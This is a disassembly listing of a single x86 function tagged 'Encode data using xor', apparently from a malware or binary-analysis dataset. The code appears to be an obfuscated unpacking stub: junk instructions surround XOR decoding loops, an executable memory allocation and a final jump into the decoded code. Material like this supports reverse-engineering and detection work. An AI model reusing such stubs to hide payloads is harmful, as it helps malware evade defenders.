Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x54189425
sub ecx, 1
or ecx, ecx
popal
mov ecx, 0xa4882e43
add esi, 0x5f077476
mov edi, 0
mov ebx, edx
add eax, eax
sub eax, ecx
or ecx, ecx
mov esi, ebx
add ecx, eax
sub ecx, eax
or eax, eax
mov edx, esi
and eax, eax
dec eax
mov ecx, 0xe258d36f
inc edi
add ecx, 0xae59ccca
dec eax
cmp edi, 0x1001126
jne 0xa789cb
inc eax
dec eax
mov eax, 0x7b22c571
and ecx, esi
sub ecx, 0xacf31dc8
inc esi
mov edi, 0xa78796
or eax, edx
dec ecx
mov eax, 0x6c5f928d
mov esi, 0xa7898a
and ecx, edx
sub ecx, eax
mov ebx, dword [edi]
sub edx, eax
mov ecx, edx
mov edx, 0x6cb6c5a8
and ebx, 0xff
add edx, 0x948b40aa
mov ecx, eax
xor dword [esi], ebx
mov edx, eax
sub eax, 0x6365215f
inc esi
add eax, 1
add ecx, ecx
sub edx, ecx
inc edi
or eax, eax
not eax
mov edx, 0x4943edff
cmp esi, entry0
jl 0xa78a1f
not edx
mov ecx, 0x5b22bc9b
add eax, edx
add edx, edx
add ecx, ecx
inc edx
or ebx, ecx
add ecx, 0x87e4f7e4
mov edi, 0xa7898e
sub ebx, 0xdae56fcd
mov ecx, ebx
mov edi, dword [edi]
sub edx, esi
add ebx, 0x9749b02d
mov edi, dword [edi]
and edx, esi
mov esi, ebx
add ecx, 0x7706fe85
push edi
or ebx, edx
mov ebx, 0x55067892
mov edi, 0xa7898a
add edx, 1
mov edx, ebx
mov edi, dword [edi]
inc ebx
dec ecx
sub edx, ebx
mov edi, dword [edi]
mov ecx, 0x54facb3b
or esi, ebx
sub esp, 4
mov dword [esp], 0xa78992
sub esi, 0xe8950d03
and ecx, edx
call edi
add esi, esi
or edx, ecx
mov edi, dword [esp]
add esp, 4
mov edx, 0xe5b7df71
add esi, edx
push 0xa7899f
not esi
mov ecx, ebx
push eax
mov edx, 0x9e606bdc
dec esi
call edi
dec ebx
and ecx, ebx
sub esp, 4
mov dword [esp], 0x40
or edx, edx
and ecx, esi
sub esi, ebx
push 0x3000
or ecx, esi
sub ecx, 0x5fb9d6c8
sub ebx, 0x478e0190
push 0x2000052c
or ecx, edx
or ebx, ebx
push 0
mov esi, 0x8169a36e
mov edx, 0xf283a00a
call eax
sub ecx, esi
not esi
add eax, 0x200004b7
mov esi, 0xc043c6dd
sub ecx, 0xf82d7f70
inc ecx
mov edi, 0x3d71ebf7
inc edx
and ebx, ecx
inc ebx
mov dword [eax], edi
not ecx
mov ebx, ecx
mov edi, dword [eax]
mov esi, edx
not ecx
cmp edi, 0x3d71ebf7
je 0xa78b71
mov eax, 0
mov byte [eax], bl
dec ebx
or ebx, edx
mov esi, 0xbfa4915c
mov ecx, 0x47b93ea9
mov esi, ebx
sub esi, 0x19f9b86e
or ecx, ecx
mov edi, section..reltc
sub ecx, esi
sub ecx, esi
mov ebx, 0xa78795
and esi, ecx
sub esi, 0x6da6bae0
sub ecx, 0xf4413c0f
mov eax, 0
not esi
sub esi, ecx
mov ecx, 0x4f953b2d
mov edx, 0xa78796
or ecx, esi
and esi, esi
lea edx, [eax + edx]
add ecx, esi
mov ecx, esi
add ecx, esi
mov edx, dword [edx]
dec esi
or ecx, esi
and edx, 0xff
add esi, ecx
sub esi, 0x4ecd92c5
inc eax
not esi
sub ecx, esi
cmp eax, 0x1f4
jne 0xa78be9
mov eax, 0
mov esi, ecx
sub ecx, esi
sub esi, ecx
dec ecx
mov esi, 0x5e3212b9
sub ecx, 0xf27db7e4
xor dword [edi], edx
not esi
and ecx, ecx
add edi, 2
mov esi, 0xda7ce3c1
sub esi, 0xd269e4c8
cmp edi, ebx
jl 0xa78bb2
sub esi, ecx
not ecx
or esi, ecx
or ecx, esi
add esi, 0xd2f38bb6
or ecx, ecx
mov esi, section..reltc
add ebx, ecx
add ecx, 0x587cd9cf
mov edi, section..reltc
and ecx, ebx
inc ebx
mov edx, 0xa78795
sub ecx, 0x4065b616
add ebx, 0x9b67c01c
not ecx
mov eax, 0
sub ebx, ecx
add ecx, ecx
or ebx, ecx
mov al, byte [edi]
or ecx, ecx
or ebx, ecx
mov byte [esi], al
and ecx, ebx
not ecx
sub ebx, ecx
inc esi
mov ecx, ebx
mov ecx, ebx
add edi, 2
sub ecx, 0xaa71e573
and ecx, ecx
add ecx, ecx
cmp edi, edx
jle 0xa78c5d
mov ebx, 0x37a43b9a
add ecx, 1
add esi, ecx
add esi, esi
push 0x8dc6a0
add ecx, ecx
inc esi
ret